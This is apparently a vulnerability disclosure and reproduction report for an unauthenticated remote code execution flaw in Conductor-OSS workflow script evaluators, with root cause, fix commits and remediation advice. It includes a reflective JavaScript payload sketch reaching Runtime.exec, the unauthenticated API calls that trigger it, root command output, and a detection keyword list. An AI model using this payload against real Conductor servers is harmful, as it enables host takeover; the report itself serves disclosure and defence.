CVE-2026-58138: Orkes Conductor unauthenticated RCE via inline script evaluators

CVE-2026-58138 is an unauthenticated remote code execution vulnerability in Orkes/Conductor-OSS (the community workflow orchestration engine) versions 3.21.21 through before 3.30.2. The INLINE system task (and the related LAMBDA, DO_WHILE, and SWITCH task types) evaluates a user-supplied JavaScript expression inside a GraalVM polyglot Context that is built with full host access (HostAccess.ALL) and, for the Python evaluator, allowAllAccess(true). Because the community Conductor REST API performs no authentication by default, any remote attacker who can reach the API can register a workflow definition whose INLINE task carries a malicious expression, start the workflow, and have the Conductor JVM execute arbitrary operating-system commands. This was reproduced end-to-end against the real conductoross/conductor:3.22.3 Docker image: an unauthenticated POST /api/metadata/workflow + POST /api/workflow/{name} caused Runtime.exec(["sh","-c",CMD]) to run as root inside the Conductor host, and the command's stdout was returned verbatim in the task's outputData.result.

• Package/component affected: conductor-oss/conductor — core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java (the GraalVM js evaluator context) and core/src/main/java/com/netflix/conductor/core/execution/evaluators/PythonEvaluator.java (the python evaluator context). Reachable through the INLINE workflow system task (com.netflix.conductor.core.execution.tasks.Inline) and LAMBDA/DO_WHILE/SWITCH which also evaluate script expressions.
• Affected versions: 3.21.21 … < 3.30.2 (confirmed on 3.22.3). The plain allowHostAccess(HostAccess.ALL) configuration is present through ~3.29.x; 3.30.0/3.30.1 added a partial denyAccess(...) blocklist (reflection blocked but class loading still permitted); the complete fix lands in 3.30.2.
• Risk level and consequences: Critical (CVSS 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Full unauthenticated remote compromise of the orchestrator host: arbitrary command execution as the Conductor process user (root in the default Docker image), exposing the engine's persistence/queues, stored credentials, and every system its workflows touch.

Impact Parity

• Disclosed/claimed maximum impact: Unauthenticated remote code execution (arbitrary OS command execution) — code_execution.
• Reproduced impact from this run: Unauthenticated remote code execution as root — the attacker-supplied shell command (id; echo <marker>; hostname; cat /etc/os-release) executed inside the Conductor host and its stdout (uid=0(root)…, the unique marker, the hostname, and the OS release line) was returned through the unauthenticated API. A second, independent proof confirmed a marker file was written to the container filesystem.
• Parity: full. The proof exercises the exact claimed surface (unauthenticated remote API → inline script → OS command execution) and demonstrates the claimed maximum impact (code execution as root).
• Not demonstrated: Nothing — the reproduction reached the full claimed impact, not merely a crash or memory-safety symptom.

Root Cause

Conductor's INLINE task evaluates user-supplied script through ScriptEvaluator.eval(), which builds a GraalVM polyglot Context for the js language. In the vulnerable versions the context is created with no sandbox:

// core/.../events/ScriptEvaluator.java  (v3.22.3, createNewContext())
private static Context createNewContext() {
    return Context.newBuilder("js")
            .allowHostAccess(HostAccess.ALL)      // <-- every public Java method/field callable
            .option("engine.WarnInterpreterOnly", "false")
            .build();
}

HostAccess.ALL permits the script to call any public method or access any public field on every Java host object it can reach. The INLINE task binds its inputParameters map as the JavaScript global $ — a live Java object (jsBindings.putMember("$", input) in ScriptEvaluator.eval()). From $ the script bootstraps Java reflection without needing any Java.type/class-lookup permission, because everything is reached by calling public methods on host objects that HostAccess.ALL already exposes:

var k  = $.getClass().getClass();                 // java.lang.Class
var S  = k.getMethod('getName').getReturnType();  // java.lang.String class
var fN = k.getMethod('forName', S);               // Class.forName(String)
var RT = fN.invoke(null, ['java.lang.Runtime']);  // java.lang.Runtime
var rt = RT.getMethod('getRuntime').invoke(null, []);
// build String[]{'sh','-c',CMD} reflectively, then:
var p  = RT.getMethod('exec', strArr.getClass()).invoke(rt, [strArr]);
// read p.getInputStream() -> return stdout as the task result

The Python evaluator is analogous: Context.newBuilder("python").allowAllAccess(true).build().

The Conductor community REST API has no authentication by default, so the two calls that trigger evaluation — POST /api/metadata/workflow (register the malicious workflow) and POST /api/workflow/{name} (start it, which synchronously evaluates the INLINE task) — require no credentials. The task result (GET /api/workflow/{id}?includeTasks=true → tasks[].outputData.result) carries the executed command's stdout back to the attacker.

Fix commits (release 3.30.2):

• 87a7d96aabbb706d6e84f812b93da5165028d18f — replaces HostAccess.ALL with a builder that denyAccess(...) Class, ClassLoader, java.lang.reflect.*, Runtime, ProcessBuilder, Process, System, Thread, ThreadGroup; removes allowAllAccess(true) from PythonEvaluator.
• c691e35e768caeb802c9f06ecdd9674c80081af1 — adds allowHostClassLoading(false), allowNativeAccess(false), allowCreateThread(false), allowCreateProcess(false), allowIO(IOAccess.NONE), allowEnvironmentAccess(EnvironmentAccess.NONE), and engine options js.load=false / js.print=false / js.console=false. Disabling host class loading is the binary discriminator that prevents the script from materializing the classes needed to reach Runtime.

Reproduction Steps

1. Reference script: bundle/repro/reproduction_steps.sh (with helper bundle/repro/exploit.py).
2. What the script does:
   • Pulls the real Docker images conductoross/conductor:3.22.3 (vulnerable) and conductoross/conductor:3.30.2 (fixed negative control).
   • Starts the vulnerable Conductor with Docker --network host, waits for the /health endpoint to return 200, and confirms the unauthenticated metadata API (GET /api/metadata/workflow → HTTP 200, no auth).
   • Runs exploit.py, which (with no authentication) registers a workflow whose INLINE task carries the reflective Runtime.exec JavaScript payload, starts it, and polls the task result. The payload also writes a unique marker file inside the container.
   • Asserts the vulnerable task is COMPLETED, the result contains live command output, and the marker file exists inside the container.
   • Stops the vulnerable container, starts the fixed 3.30.2 image the same way, and runs the identical payload — asserting it is now blocked (task_status=FAILED_WITH_TERMINAL_ERROR, no command output, no marker file).
   • Writes bundle/repro/runtime_manifest.json.
3. Expected evidence of reproduction: logs/vuln_exploit.log / artifacts/vuln_exploit.json show task_status=COMPLETED and rce_confirmed=true with the command stdout (uid=0(root)…, the marker, hostname, OS release); artifacts/vuln_marker_check.txt shows the marker file present inside the vulnerable container. For the fixed build, artifacts/fixed_exploit.json shows task_status=FAILED_WITH_TERMINAL_ERROR, rce_confirmed=false, and artifacts/fixed_marker_check.txt shows the marker file absent. The script exits 0 only when both conditions hold.

Evidence

• bundle/logs/reproduction_steps.log — full annotated run log.
• bundle/logs/vuln_container.log — vulnerable Conductor boot log.
• bundle/artifacts/vuln_health.json — {"healthy":true} from the vulnerable instance.
• bundle/artifacts/vuln_metadata_http.txt — HTTP 200 (unauthenticated metadata API reachable).
• bundle/artifacts/vuln_exploit.json — exploit result: register_status=200, start_status=200, workflow_status=COMPLETED, task_status=COMPLETED, rce_confirmed=true, and task_output_result containing:

  uid=0(root) gid=0(root) groups=0(root)
  PRUVA_RCE_CONFIRMED_<ts>
  <hostname>
  PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
  

• bundle/artifacts/vuln_marker_check.txt — docker exec proof that the marker file was written inside the vulnerable container.
• bundle/logs/fixed_container.log, bundle/artifacts/fixed_exploit.json — fixed build: task_status=FAILED_WITH_TERMINAL_ERROR, workflow_status=FAILED, rce_confirmed=false, task_output_result=null.
• bundle/artifacts/fixed_marker_check.txt — marker file absent in the fixed container (No such file or directory).
• Environment: Docker --network host on host muramasa (Arch Linux kernel); sandbox reached the host-network conductor via the docker bridge gateway 172.20.0.1:8080; vulnerable image conductoross/conductor:3.22.3, fixed image conductoross/conductor:3.30.2.

Recommendations / Next Steps

• Upgrade to Conductor ≥ 3.30.2 immediately. The js/python evaluators no longer run with host access / host class loading enabled.
• Defense in depth: put authentication/authorization in front of the Conductor API (the community build is unauthenticated by default); run the server as a non-root, least-privilege user; restrict which principals can register/run workflows.
• Detection: flag workflow definitions whose INLINE/LAMBDA/DO_WHILE/ SWITCH tasks contain expression strings referencing getClass, forName, Runtime, exec, ProcessBuilder, or java. reflection; alert on Conductor processes spawning shells.
• Testing: add regression tests (as the fix did in InlineTest.java) that assert a reflection-based RCE expression yields FAILED_WITH_TERMINAL_ERROR for both javascript and graaljs evaluator types on every build.

Additional Notes

• Idempotency: the script cleans up any leftover conductor-vuln-repro/conductor-fixed-repro containers at startup and stops/removes them after each phase, so it can be re-run cleanly. Each exploit uses a timestamped workflow name and marker, so repeated runs do not collide.
• Networking: in the DinD sandbox, Docker bridge port publishing (-p) does not expose a reachable port to the sandbox container; the script therefore uses --network host and reaches the conductor via the sandbox's default gateway (detect_target_ip), falling back to 127.0.0.1 when the sandbox is the docker host itself.
• Scope of the proof: the in-range version demonstrated (3.22.3) uses the plain HostAccess.ALL configuration; the 3.30.0/3.30.1 partial blocklist is not separately bypassed here — the negative control uses the complete fix (3.30.2) per the CVE's fixed version.